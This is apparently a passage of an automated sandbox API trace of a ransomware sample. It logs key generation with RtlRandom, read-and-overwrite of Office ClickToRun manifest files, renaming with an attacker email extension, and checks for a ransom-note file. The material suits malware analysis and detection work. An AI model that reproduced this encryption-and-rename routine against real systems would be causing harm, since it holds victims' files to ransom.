RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x7bf3415 [0073.653] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0xb6ea746b [0073.653] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x8f607a8 [0073.653] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0xdbe4dcce [0073.653] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0xe58ff6f3 [0073.653] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x256c7dd8 [0073.653] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x174c4092 [0073.653] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x1f6b4764 [0073.653] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0xfe49cc00 [0073.653] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x4e1b1cb6 [0073.653] RtlRandom (in: Seed=0x17fbf850 | out: Seed=0x17fbf850) returned 0x5242c3f8 [0073.664] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.664] ReadFile (in: hFile=0x954, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17fbf81c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x17fbf81c*=0x4096, lpOverlapped=0x0) returned 1 [0073.680] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0073.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0073.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341edc0 [0073.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341edc0) returned 1 [0073.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e3f8 [0073.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341edc0 [0073.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee60 [0073.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee60) returned 1 [0073.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0073.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0073.681] WriteFile (in: hFile=0x954, lpBuffer=0x348e3f8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17fbf81c, lpOverlapped=0x0 | out: lpBuffer=0x348e3f8*, lpNumberOfBytesWritten=0x17fbf81c*=0x4096, lpOverlapped=0x0) returned 1 [0073.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e3f8) returned 1 [0073.681] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x4a4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.681] WriteFile (in: hFile=0x954, lpBuffer=0x341edc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17fbf854, lpOverlapped=0x0 | out: lpBuffer=0x341edc0*, lpNumberOfBytesWritten=0x17fbf854*=0x20, lpOverlapped=0x0) returned 1 [0073.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341edc0) returned 1 [0073.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.681] WriteFile (in: hFile=0x954, lpBuffer=0x341eb90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17fbf868, lpOverlapped=0x0 | out: lpBuffer=0x341eb90*, lpNumberOfBytesWritten=0x17fbf868*=0x8, lpOverlapped=0x0) returned 1 [0073.682] WriteFile (in: hFile=0x954, lpBuffer=0x17fbf880*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17fbf868, lpOverlapped=0x0 | out: lpBuffer=0x17fbf880*, lpNumberOfBytesWritten=0x17fbf868*=0x4, lpOverlapped=0x0) returned 1 [0073.682] WriteFile (in: hFile=0x954, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17fbf868, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x17fbf868*=0x4, lpOverlapped=0x0) returned 1 [0073.682] WriteFile (in: hFile=0x954, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17fbf868, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x17fbf868*=0x6c, lpOverlapped=0x0) returned 1 [0073.682] WriteFile (in: hFile=0x954, lpBuffer=0x341ee10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17fbf868, lpOverlapped=0x0 | out: lpBuffer=0x341ee10*, lpNumberOfBytesWritten=0x17fbf868*=0x20, lpOverlapped=0x0) returned 1 [0073.682] WriteFile (in: hFile=0x954, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17fbf868, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x17fbf868*=0x4, lpOverlapped=0x0) returned 1 [0073.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee10) returned 1 [0073.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec58) returned 1 [0073.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb90) returned 1 [0073.682] CloseHandle (hObject=0x954) returned 1 [0073.682] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x130) returned 0x341da40 [0073.682] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" [0073.682] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0073.682] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.683] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.683] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0073.683] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0073.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0073.684] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.684] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.684] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.684] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0073.684] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5bd0) returned 1 [0073.684] RtlExitUserThread (Status=0x1) Thread: id = 613 os_tid = 0x1370 [0073.648] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml")) returned 0x20 [0073.648] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0073.649] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x958 [0073.649] GetFileSizeEx (in: hFile=0x958, lpFileSize=0x1803fe4c | out: lpFileSize=0x1803fe4c*=1526) returned 1 [0073.649] SetFilePointerEx (in: hFile=0x958, liDistanceToMove=0x5f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.649] ReadFile (in: hFile=0x958, lpBuffer=0x1803fe20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1803fe1c, lpOverlapped=0x0 | out: lpBuffer=0x1803fe20*, lpNumberOfBytesRead=0x1803fe1c*=0x4, lpOverlapped=0x0) returned 1 [0073.927] SetFilePointerEx (in: hFile=0x958, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e208 [0073.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e230 [0073.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e578 [0073.927] NtQuerySystemTime (in: CurrentTime=0x1803fdf8 | out: CurrentTime=0x1803fdf8*=132121176318159174) returned 0x0 [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0xe8c94d99 [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0xe85459e5 [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x261d01ee [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x4379d85f [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x30d6835e [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x8fe6141c [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x61360910 [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0xcb7ea33a [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x522894f3 [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0xc4bd3a5e [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x6529fac3 [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0xf3f40e4c [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0xbad65a9b [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x31fd75f4 [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0xbc17cbc6 [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x6e87413d [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x4724cd4f [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x87396866 [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0xf7f5db73 [0073.927] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x8f53cb0 [0073.928] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0xfa66346c [0073.928] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x8c22c585 [0073.928] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x72cb710c [0073.928] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x8c201815 [0073.928] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0xfceb8563 [0073.928] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x96423b68 [0073.928] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x33b3ea [0073.928] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0xe3d8ca22 [0073.928] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x6dbbb440 [0073.928] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x77765d77 [0073.928] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x7e47885 [0073.928] RtlRandom (in: Seed=0x1803fe04 | out: Seed=0x1803fe04) returned 0x9e1d2ec2 [0073.940] ReadFile (in: hFile=0x958, lpBuffer=0x348e3f8, nNumberOfBytesToRead=0x5f6, lpNumberOfBytesRead=0x1803fdf8, lpOverlapped=0x0 | out: lpBuffer=0x348e3f8*, lpNumberOfBytesRead=0x1803fdf8*=0x5f6, lpOverlapped=0x0) returned 1 [0073.940] SetFilePointerEx (in: hFile=0x958, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1803fdc0 | out: lpNewFilePointer=0x0) returned 1 [0073.940] WriteFile (in: hFile=0x958, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x5f6, lpNumberOfBytesWritten=0x1803fdf4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x1803fdf4*=0x5f6, lpOverlapped=0x0) returned 1 [0073.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e320 [0073.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e208 [0073.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e208) returned 1 [0073.941] WriteFile (in: hFile=0x958, lpBuffer=0x341e320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1803fdf0, lpOverlapped=0x0 | out: lpBuffer=0x341e320*, lpNumberOfBytesWritten=0x1803fdf0*=0x20, lpOverlapped=0x0) returned 1 [0073.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e320) returned 1 [0073.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0073.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e3f8) returned 1 [0073.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0073.941] WriteFile (in: hFile=0x958, lpBuffer=0x341e258*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1803fe1c, lpOverlapped=0x0 | out: lpBuffer=0x341e258*, lpNumberOfBytesWritten=0x1803fe1c*=0x8, lpOverlapped=0x0) returned 1 [0073.941] WriteFile (in: hFile=0x958, lpBuffer=0x1803fe34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1803fe1c, lpOverlapped=0x0 | out: lpBuffer=0x1803fe34*, lpNumberOfBytesWritten=0x1803fe1c*=0x4, lpOverlapped=0x0) returned 1 [0073.941] WriteFile (in: hFile=0x958, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1803fe1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1803fe1c*=0x4, lpOverlapped=0x0) returned 1 [0073.941] WriteFile (in: hFile=0x958, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1803fe1c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1803fe1c*=0x6c, lpOverlapped=0x0) returned 1 [0073.942] WriteFile (in: hFile=0x958, lpBuffer=0x341e230*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1803fe1c, lpOverlapped=0x0 | out: lpBuffer=0x341e230*, lpNumberOfBytesWritten=0x1803fe1c*=0x20, lpOverlapped=0x0) returned 1 [0073.942] WriteFile (in: hFile=0x958, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1803fe1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1803fe1c*=0x4, lpOverlapped=0x0) returned 1 [0073.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e230) returned 1 [0073.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e500) returned 1 [0073.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e258) returned 1 [0073.942] CloseHandle (hObject=0x958) returned 1 [0073.942] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13a) returned 0x341fe68 [0073.942] wcscpy (in: _Dest=0x341fe68, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" [0073.942] wcscat (in: _Dest=0x341fe68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0073.942] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.977] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341fe68) returned 1 [0073.977] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0073.977] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0073.977] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.977] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.977] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0073.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c2a0) returned 1 [0073.977] RtlExitUserThread (Status=0x1) Thread: id = 614 os_tid = 0x3fc [0073.650] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml")) returned 0x20 [0073.651] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0073.651] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x95c [0073.651] GetFileSizeEx (in: hFile=0x95c, lpFileSize=0x180bfa14 | out: lpFileSize=0x180bfa14*=11048) returned 1 [0073.651] SetFilePointerEx (in: hFile=0x95c, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.651] ReadFile (in: hFile=0x95c, lpBuffer=0x180bf9e8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x180bf9e4, lpOverlapped=0x0 | out: lpBuffer=0x180bf9e8*, lpNumberOfBytesRead=0x180bf9e4*=0x4, lpOverlapped=0x0) returned 1 [0073.667] SetFilePointerEx (in: hFile=0x95c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.667] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341edc0 [0073.667] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0073.667] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb68 [0073.667] NtQuerySystemTime (in: CurrentTime=0x180bf9c0 | out: CurrentTime=0x180bf9c0*=132121176315659457) returned 0x0 [0073.667] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x7848f4e5 [0073.667] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x51f5dcce [0073.667] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x89aa429f [0073.667] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0xcbd953e6 [0073.667] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x3f9fc134 [0073.667] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x25e3ed71 [0073.667] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x132e6247 [0073.667] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x7dd5bfaf [0073.667] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0xc61845a9 [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x699dcd30 [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0xa4f3a1f4 [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x94950819 [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0xf481c086 [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0xe714a024 [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x5f9f39a [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0xc545a43d [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x9d9dc54e [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0xf1455ad8 [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x3ec07a8b [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0xa06ae85c [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0x6febad23 [0073.668] RtlRandom (in: Seed=0x180bf9cc | out: Seed=0x180bf9cc) returned 0xb06ee5cf [0073.668] 